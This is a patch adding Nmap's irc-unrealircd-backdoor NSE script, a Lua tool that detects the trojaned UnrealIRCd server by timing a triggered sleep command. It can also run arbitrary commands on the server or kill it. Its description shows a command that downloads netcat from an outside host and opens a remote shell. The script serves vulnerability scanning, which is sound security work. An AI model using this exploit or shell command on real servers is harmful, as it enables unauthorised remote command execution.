From 0d47952611198ef6b1163f366dc03922d20b1475 Mon Sep 17 00:00:00 2001 From: Daniel Baumann Date: Wed, 17 Apr 2024 09:42:04 +0200 Subject: Adding upstream version 7.94+git20230807.3be01efb1+dfsg. Signed-off-by: Daniel Baumann --- scripts/irc-unrealircd-backdoor.nse | 223 ++++++++++++++++++++++++++++++++++++ 1 file changed, 223 insertions(+) create mode 100644 scripts/irc-unrealircd-backdoor.nse (limited to 'scripts/irc-unrealircd-backdoor.nse') diff --git a/scripts/irc-unrealircd-backdoor.nse b/scripts/irc-unrealircd-backdoor.nse new file mode 100644 index 0000000..ade7ae1 --- /dev/null +++ b/scripts/irc-unrealircd-backdoor.nse @@ -0,0 +1,223 @@ +local comm = require "comm" +local nmap = require "nmap" +local os = require "os" +local irc = require "irc" +local stdnse = require "stdnse" +local string = require "string" + +description = [[ +Checks if an IRC server is backdoored by running a time-based command (ping) +and checking how long it takes to respond. + +The irc-unrealircd-backdoor.command script argument can be used to +run an arbitrary command on the remote system. Because of the nature of +this vulnerability (the output is never returned) we have no way of +getting the output of the command. It can, however, be used to start a +netcat listener as demonstrated here: + + $ nmap -d -p6667 --script=irc-unrealircd-backdoor.nse --script-args=irc-unrealircd-backdoor.command='wget http://www.javaop.com/~ron/tmp/nc && chmod +x ./nc && ./nc -l -p 4444 -e /bin/sh' + $ ncat -vv localhost 4444 + Ncat: Version 5.30BETA1 ( https://nmap.org/ncat ) + Ncat: Connected to 127.0.0.1:4444. + pwd + /home/ron/downloads/Unreal3.2-bad + whoami + ron + + +Metasploit can also be used to exploit this vulnerability. + +In addition to running arbitrary commands, the +irc-unrealircd-backdoor.kill script argument can be passed, which +simply kills the UnrealIRCd process. + + +Reference: +* http://seclists.org/fulldisclosure/2010/Jun/277 +* http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt +* http://www.metasploit.com/modules/exploit/unix/irc/unreal_ircd_3281_backdoor +]] + +--- +-- @args irc-unrealircd-backdoor.command An arbitrary command to run on the +-- remote system (note, however, that you won't see the output of your +-- command). This will always be attempted, even if the host isn't +-- vulnerable. The pattern %IP% will be replaced with the +-- ip address of the target host. +-- @args irc-unrealircd-backdoor.kill If set to 1 or +-- true, kill the backdoored UnrealIRCd running. +-- @args irc-unrealircd-backdoor.wait Wait time in seconds before executing the +-- check. This is recommended to set for more reliable check (100 is good +-- value). +-- +-- @output +-- PORT STATE SERVICE +-- 6667/tcp open irc +-- |_irc-unrealircd-backdoor: Looks like trojaned version of unrealircd. See http://seclists.org/fulldisclosure/2010/Jun/277 +-- + +author = {"Vlatko Kosturjak", "Ron Bowes"} +license = "Same as Nmap--See https://nmap.org/book/man-legal.html" +categories = {"exploit", "intrusive", "malware", "vuln"} + + +portrule = irc.portrule + + +action = function(host, port) + local socket = nmap.new_socket() + local code, message + local status, err + local data + -- Wait up to this long for the server to send its startup messages and + -- a response to our noop_command. After this, send the full_command. + -- Usually we don't have to wait the full time because we can detect + -- the response to noop_command. + local banner_timeout = 60 + -- Send a command to sleep this long. This just has to be long enough + -- to remove confusion from network delay. + local delay = 8 + + -- If the command takes (delay - delay_fudge) or more seconds, the server is vulnerable. + -- I defined the fudge as 1 second, for now, just because of rounding issues. In practice, + -- the actual delay should never be shorter than the given delay, only longer. + local delay_fudge = 1 + + -- We send this command on connection because comm.tryssl needs to send + -- something; it also allows us to detect the end of server + -- initialization. + local noop_command = "TIME" + + -- The 'AB' sequence triggers the backdoor to run a command. + local trigger = "AB" + + -- We define a highly unique variable as a type of 'ping' -- it lets us see when our + -- command returns. Typically, asynchronous data will be received after the initial + -- connection -- this lets us ignore that extra data. + local unique = "SOMETHINGUNIQUE" + + -- On Linux, do a simple sleep command. + local command_linux = "sleep " .. delay + + -- Set up an extra command, if the user requested one + local command_extra = "" + if(stdnse.get_script_args('irc-unrealircd-backdoor.command')) then + command_extra = stdnse.get_script_args('irc-unrealircd-backdoor.command') + -- Replace "%IP%" with the ip address + command_extra = string.gsub(command_extra, '%%IP%%', host.ip) + end + + -- Windows, unfortunately, doesn't have a sleep command. Instead, we use 'ping' to + -- simulate a sleep (thanks to Ed Skoudis for teaching me this one!). We always want + -- to add 1 to the delay because the first ping happens instantly. + -- + -- This is likely unnecessary, because the Windows version of UnrealIRCd is reportedly + -- not vulnerable. However, it's possible that some odd person may have compiled it + -- from the vulnerable sourcecode, so we check for it anyways. + local command_windows = "ping -n " .. (delay + 1) .. " 127.0.0.1" + + -- Put together the full command + local full_command = string.format("%s;%s;%s;%s;%s", trigger, unique, command_linux, command_windows, command_extra) + + -- wait time: get rid of fast reconnecting annoyance + if(stdnse.get_script_args('irc-unrealircd-backdoor.wait')) then + local waittime = stdnse.get_script_args('irc-unrealircd-backdoor.wait') + stdnse.debug1("waiting for %i seconds", waittime) + stdnse.sleep(waittime) + end + + -- Send an innocuous command as fodder for tryssl. + stdnse.debug1("Sending command: %s", noop_command); + local socket, response = comm.tryssl(host, port, noop_command .. "\n", {recv_before=false}) + + -- Make sure the socket worked + if(not(socket) or not(response)) then + stdnse.debug1("Couldn't connect to remote host") + return nil + end + + socket:set_timeout(banner_timeout * 1000) + + -- Look for the end of initial server messages. This allows reverse DNS + -- resolution and ident lookups to time out and not interfere with our + -- timing measurement. + status = true + data = response + while status and not (string.find(data, noop_command) or string.find(data, " 451 ")) do + status, response = socket:receive_bytes(0) + if status then + data = data .. response + end + end + + if not status then + stdnse.debug1("Receive failed after %s: %s", noop_command, response) + return nil + end + + -- Send the backdoor command. + stdnse.debug1("Sending command: %s", full_command); + status, err = socket:send(full_command .. "\n") + if not status then + stdnse.debug1("Send failed: %s", err) + return nil + end + + -- Get the current time so we can measure the delay + local time = os.time(os.date('*t')) + socket:set_timeout((delay + 5) * 1000) + + -- Accumulate the response in the 'data' string + status = true + data = "" + while not string.find(data, unique) do + status, response = socket:receive_bytes(0) + if status then + data = data .. response + else + -- If the server unexpectedly closes the connection, it + -- is usually related to throttling. Therefore, we + -- print a throttling warning. + stdnse.debug1("Receive failed: %s", response) + socket:close() + return "Server closed connection, possibly due to too many reconnects. Try again with argument irc-unrealircd-backdoor.wait set to 100 (or higher if you get this message again)." + end + end + + -- Determine the elapsed time + local elapsed = os.time(os.date('*t')) - time + + -- Let the user know that everything's working + stdnse.debug1("Received a response to our command in " .. elapsed .. " seconds") + + -- Determine whether or not the vulnerability is present + if(elapsed > (delay - delay_fudge)) then + -- Check if the user wants to kill the server. + if(stdnse.get_script_args('irc-unrealircd-backdoor.kill')) then + stdnse.debug1("Attempting to kill the Trojanned UnrealIRCd server...") + + local linux_kill = "kill `ps -e | grep ircd | awk '{ print $1 }'`" + local windows_kill = 'wmic process where "name like \'%ircd%\'" delete' + local kill_command = string.format("%s||%s||%s", trigger, linux_kill, windows_kill) + + -- Kill the process + stdnse.debug1("Running kill command: %s", kill_command) + socket:send(kill_command .. "\n") + end + + stdnse.debug1("Looks like the Trojanned unrealircd is running!") + + -- Close the socket + socket:close() + + return "Looks like trojaned version of unrealircd. See http://seclists.org/fulldisclosure/2010/Jun/277" + end + + -- Close the socket + socket:close() + + stdnse.debug1("The Trojanned version of unrealircd probably isn't running.") + + return nil +end + -- cgit v1.2.3